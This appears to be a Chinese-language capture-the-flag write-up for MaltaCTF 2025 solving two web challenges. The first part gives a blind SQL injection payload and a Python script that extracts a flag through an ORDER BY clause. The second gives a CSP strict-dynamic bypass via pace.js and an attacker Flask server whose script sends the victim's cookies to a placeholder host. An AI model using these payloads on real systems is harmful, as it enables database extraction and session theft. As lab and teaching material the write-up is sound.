MaltaCTF 2025 wp
Starboard
@app.route('/', methods=['GET'])
def index():
order = request.args.get('order', 'DESC')
if ';' in order or ',' in order:
return jsonify({'error': 'bad char'})
conn = get_conn()
with conn.cursor(cursor_factory=RealDictCursor) as cur:
cur.execute(f'SELECT * FROM posts ORDER BY stars {order} LIMIT 50')
results = cur.fetchall()
conn.close()
return render_template('index.html', posts=results, order=order)
sql注入
* (SELECT CAST(flag AS INT) FROM flag)
出错,说明似乎能注,但是报错信息不返回
只能盲注了,正则盲注
?order=limit case when (select flag from flag) like 'm%' then 2 end --
import requests
import string
import time
URL = ""
CHARSET = string.ascii_lowercase + string.digits + "_-!@{}"
flag = "maltactf{"
position = len(flag) + 1
print("开始获取 flag...")
print(f"已知部分: {flag}")
while True:
found_char_in_position = False
for char in CHARSET:
guess = (flag + char).replace('%', '\\\\%').replace('_', '\\\\_')
payload = f"DESC limit case when (select flag from flag) like '{guess}%' then 2 end --"
try:
r = requests.get(URL, params={'order': payload}, timeout=10)
if r.text.count('<li>') == 2:
flag += char
print(f"当前 Flag: {flag}")
found_char_in_position = True
if char == '}':
print("\\nFlag 获取完毕!")
found_char_in_position = "STOP"
break
except requests.exceptions.RequestException as e:
print(f"请求时发生错误: {e}")
time.sleep(1)
if found_char_in_position == "STOP":
break
if not found_char_in_position:
print("\\n无法找到更多字符")
break
print(f"\\n最终 Flag: {flag}")
maltactf{and_many_more_bangers_to_be_seen}
fancy text generator
script-src 'sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=' 'strict-dynamic'; object-src 'none';
这个 csp 指定了 strict-dynamic,所以loader.js的信任可传递
其中loader.js如下
scripts = {
"pace": "https://cdn.jsdelivr.net/npm/pace-js@latest/pace.min.js",
"main": "/main.js",
}
function appendScript (src) {
let script = document.createElement('script');
script.src = src;
document.head.appendChild(script);
};
for (let script in scripts) {
appendScript(scripts[script]);
}pace.js中的getFromDOM 函数查找带有 data-pace-options 属性的元素,将其内容作为json解析,可以污染,从而插入DOM
<div data-pace-options='{"className":"\"></div><img src=x onerror=\"alert(1)\"><div>"}'>
可以插入img但是无法运行js,因为不受信任
但是loader创建的main.js是可信的,而且相对路径,考虑用base标签来加载攻击机的js
攻击机运行如下代码
from flask import Flask, send_file , redirect
import os
app = Flask(__name__)
@app.after_request
def add_cors_headers(response):
response.headers['Access-Control-Allow-Origin'] = '*'
response.headers['Access-Control-Allow-Methods'] = 'GET'
return response
@app.route('/loader.js')
def js_1():
current_dir = os.path.dirname(os.path.abspath(__file__))
loader_path = os.path.join(current_dir, 'loader.js')
return send_file(loader_path, mimetype='application/javascript')
@app.route('/main.js')
def js_2():
return """console.log(window.parent.document.cookie);fetch("https://YOUR_IP/?"+window.parent.document.cookie)
"""
@app.route('/redirect')
def redirect_to_target():
target_url = """http://localhost:1337/?text=<div data-pace-options='{"className":"\\"></div><iframe srcdoc=\\"<html><head><base href=https://YOUR_IP></head><body><script integrity=sha256-1ltlTOtatSNq5nY%2BDSYtbldahmQSfsXkeBYmBH5i9dQ= crossorigin=anonymous src=https://YOUR_IP/loader.js></script><div id=contentBox>\\"></iframe><div></body></html>"}'>"""
return redirect(target_url, code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)原理是利用iframe加载可信loader.js(只验证sha256但是不验证来源),这样创建的main.js标签会从攻击机加载,然后用js获取父页面的cookies就行了
远程环境有点奇怪,所以不确定是提交哪个payload的作用(提交了很多次,包括那个target_url,变种target_url, 以及攻击机的/redirect路由,反正本地测试这些都行,不清楚远程那边怎么回事)
maltactf{oops_my_dependency_is_buggy_05b19465ce19db4e28ddb00bb19f101e}